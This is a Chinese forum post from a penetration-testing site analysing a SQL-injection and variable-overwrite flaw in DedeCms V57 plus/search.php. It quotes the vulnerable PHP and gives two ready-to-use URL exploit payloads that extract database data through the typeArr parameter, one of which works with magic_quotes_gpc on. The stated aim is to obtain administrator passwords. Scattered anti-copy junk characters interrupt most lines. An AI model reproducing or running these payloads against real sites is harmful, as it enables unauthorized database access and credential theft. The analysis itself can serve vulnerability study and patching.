中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
( X5 A8 f6 l+ y, }/ U作者: c4rp3nt3r@0x50sec.org8 ?; C2 K8 d" D2 J0 v6 s
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.7 h/ T0 ~; X% O/ A4 U

3 t0 @* s+ S% O0 I& `4 }% e% [黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
% }# V( c' v# I6 m7 x  C ' u0 v8 ^, Q3 U8 [
============
& U2 j! o; t8 t+ g
. `' ?/ n0 l6 H# q( t0 f - `8 p( T5 }( \+ D  B+ O
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
" ]( T; U* |; E2 F6 ^ + Q( o# Q2 F! H
require_once(dirname(__FILE__).”/../include/common.inc.php”);
+ \3 K! l* _" D- `require_once(DEDEINC.”/arc.searchview.class.php”);
6 W, [6 B) x) j  T8 ^1 u& U3 p ) J6 g% U4 T4 u% ^- s) K0 W& j
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;2 e  \% w# M, Q7 N- C8 Q
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;! h3 D" t# E1 N  f2 ?' b. p5 K7 I
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
" m( W3 }/ D, u$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;9 R3 G5 m; r4 B% U% k
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
' b- c. q/ I- D+ z9 F6 b   Y  B7 R* d/ j% |' G
if(!isset($orderby)) $orderby=”;
+ {" D' B* J/ s3 u  j( I; ^! Helse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);& {% ^9 D: g* Y. G( i% `2 ^) s1 j9 @
2 [. s+ L: |6 I3 n% j

) ?& M, |7 ]4 s$ Y3 o2 Mif(!isset($searchtype)) $searchtype = ‘titlekeyword’;' j6 e/ U# G8 G* _/ e
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
1 X. o' e: w& @# P: E
1 h3 x6 B& {" M! fif(!isset($keyword)){  l* p# l. x3 O" r, V6 {- N
    if(!isset($q)) $q = ”;
* l5 X8 L# P6 [2 Q0 ^    $keyword=$q;- h, Q. a' p5 V, v/ I. d
}
: F- o1 _& T" h, w3 }; k 5 V" x$ [% K+ j, Z/ |
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
+ H9 ?+ e! R2 l
3 Z# h- S1 d0 ~2 ~! M//查找栏目信息
7 @: R9 h) P9 P) q0 I+ Zif(empty($typeid))
# \; r* ]5 K6 m# w4 Z& Q# M+ V* \7 V{4 |; W! T' a4 j: R+ Q' k
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
7 u& D! g" J4 U+ R    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
( W5 c4 A/ D0 I1 h. w# U    {3 X1 F  x& @* n+ z6 K9 @* s) P
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);; A# c' J+ s. n6 h" L) |' J  _( f
        fwrite($fp, “<”.”?php\r\n”);
2 Q" V% x8 R8 Q. u        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);9 [& N  Y# y6 d, S# [" R1 D
        $dsql->Execute();
+ W" \/ [1 }7 F5 T        while($row = $dsql->GetArray())
2 t0 u; i, Z9 y% L5 a" _9 c; A        {' q% c0 w8 A) J5 Q
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
7 o! f$ K% J8 |) l! t        }( F# V  ]0 L; [* @$ D/ w' z
        fwrite($fp, ‘?’.'>’);
8 [% {7 q/ |8 t: [9 O; P5 [' D" @% p        fclose($fp);2 O5 u" H' ^. Y% [; E
    }! p$ q# \7 c' R" \
    //引入栏目缓存并看关键字是否有相关栏目内容: N% o! D& }0 V
    require_once($typenameCacheFile);, G( R' j5 m' Y/ o  E
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个  K; p. z7 p7 k: [: P; ^$ a
//1 N7 Z3 b7 ~( D. F4 ^( E- |
    if(isset($typeArr) && is_array($typeArr))
/ s8 i! I, _7 x  V: P2 \    {
- u! @4 l" o1 q) q* H        foreach($typeArr as $id=>$typename)% S$ D+ s& w: ?, C
        {' x9 o  H& t9 i& k  g' n& A
7 d5 p, O3 z* F/ l+ j0 v
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
+ s0 ]& L& {2 e            if($keyword != $keywordn)
2 \4 u) d0 ~. j) s1 s            {
  l8 Y: M3 O$ N6 J$ i+ S1 [                $keyword = $keywordn;
6 O) Z9 F- d' w$ A/ }: L9 I/ v1 x                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. O4 q. R+ O  h& Z                break;( N' \2 N$ R! `  N1 P  ]
            }7 G- P3 k9 o8 }  n$ m
        }
2 {2 i/ Y+ @7 h, P  _# ^$ A    }
+ U( Y: x" |$ X& ^}
3 F: ~$ ]' ^! a' e6 [$ L" _7 q* @然后plus/search.php文件下面定义了一个 Search类的对象 .
0 j- ]+ z' l9 w8 O& b/ Z" T% ]在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.) C, p0 y& y% \! @
$this->TypeLink = new TypeLink($typeid);
  x3 {1 P+ X" t& L$ i; | 0 @; T3 E' B8 h. e: {
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.2 d! B3 r4 b2 Z; ^# R( T9 S
+ i' _2 A3 `3 a6 _! `: X. x8 V
class TypeLink2 @* t) ?( I/ ?+ ~7 h# Z
{* \; @! S& v9 d# n4 ^- m& @) {
    var $typeDir;" J& |6 w5 @- P) c8 }# q
    var $dsql;2 S. V/ s  B8 c8 h1 I% i
    var $TypeID;
' |, X( R6 f, C8 j2 l    var $baseDir;" w) B/ [1 n) ]/ U0 ]' R0 E# `
    var $modDir;
3 w, v3 x9 U' C, ]& s    var $indexUrl;4 L8 K- k2 m' |# m
    var $indexName;
7 R; `2 L6 ~# T$ b; q4 E    var $TypeInfos;
' Z! t% w& m: L3 s6 c' N* s2 X    var $SplitSymbol;3 k% w' h1 w3 `
    var $valuePosition;
/ \/ q/ N% l/ X+ j  Q6 P. @    var $valuePositionName;0 T: w1 F# C9 J# E, W. J; r# L
    var $OptionArrayList;//构造函数///////
* ]" a, N0 X+ C* [: `* ~    //php5构造函数, q# m# u9 u  v; I
    function __construct($typeid)
$ w+ g, X" V# ?2 c6 z( H    {
8 H# t1 ]2 n. `" V6 N0 K        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
0 }8 k9 {  L9 x8 ]        $this->indexName = $GLOBALS['cfg_indexname'];  b2 s: C4 u" v5 ~
        $this->baseDir = $GLOBALS['cfg_basedir'];8 N* o8 \4 l! T3 K' ]& \/ E' P1 h
        $this->modDir = $GLOBALS['cfg_templets_dir'];) {! e0 d, W! z  v8 ~
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];/ d% s  k5 s( j
        $this->dsql = $GLOBALS['dsql'];
9 F2 Y" Q, y5 H% L0 q        $this->TypeID = $typeid;& ?. i1 v# s/ n5 b5 t! D
        $this->valuePosition = ”;; A$ h' V) I- E( l9 [0 i
        $this->valuePositionName = ”;
# T9 W. m! l4 a7 P" T, v% ~  j        $this->typeDir = ”;
/ D2 u- J6 ~' P4 s, g3 h        $this->OptionArrayList = ”;
. t% e  }( c% r) {$ d 1 @# h- [* K' U& [8 r* o
        //载入类目信息
9 L8 ~. e! \, V7 |4 o* w
/ P6 r1 w" c! s/ M        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
' N& p- y- V" M" e6 Bctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join# u0 o1 t8 z6 G
`#@__channeltype` ch
8 z0 m2 i" F$ X6 k# _2 T        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
, ~1 ]9 v6 N) K0 B! k 3 O) y. B4 ?  R4 Q
        if($typeid > 0)
& c0 m# Y% U' P% M8 d        {. A1 s+ f6 s. C0 e& h3 x0 n) g
            $this->TypeInfos = $this->dsql->GetOne($query);
- y7 K' z$ U' u4 h( W0 o利用代码一 需要 即使magic_quotes_gpc = Off& t7 x0 Q( p5 {

' q1 x# I/ r0 h0 P5 f! f' }+ F1 nwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title1 B, Q9 P$ \9 t' u
1 m: W: o- A; m  i6 @# ^
这只是其中一个利用代码… Search 类的构造函数再往下
! D4 J: d( v( v9 z! H# Y* @
. Y- x: ~6 f- I……省略8 p5 [7 \& k; }6 C4 [) k2 ?
$this->TypeID = $typeid;" h) Q8 V  y6 K1 k/ t0 W+ `8 K
……省略
% l$ j/ u& d% Q' W" c9 t7 }if($this->TypeID==”0″){
  r! g4 y6 B2 w6 q6 Y8 G( R  G            $this->ChannelTypeid=1;2 ]& V2 c5 |* z3 X2 D( @6 q* s
        }else{
* l" m9 o7 C4 \2 I  Y            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲/ B* ~: W- P* R1 T- O
//现在不鸡肋了吧亲…
! s& b3 v; S1 s* H8 u% ]) e            $this->ChannelTypeid=$row['channeltype'];
; a* c# I( w  }: v
% \; ~8 \0 x8 {6 `; e& P6 ^        }
7 L4 J' |( n+ }4 ], |利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.* U) k; Z  q+ p1 W- A6 A

  F3 k6 u0 i: ?) {- G) t5 xwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title$ I' t7 a, g& P% _$ ?9 E( s
  M6 P) p' R# T# y
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站7 u) d; }) H- B2 B2 k% K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2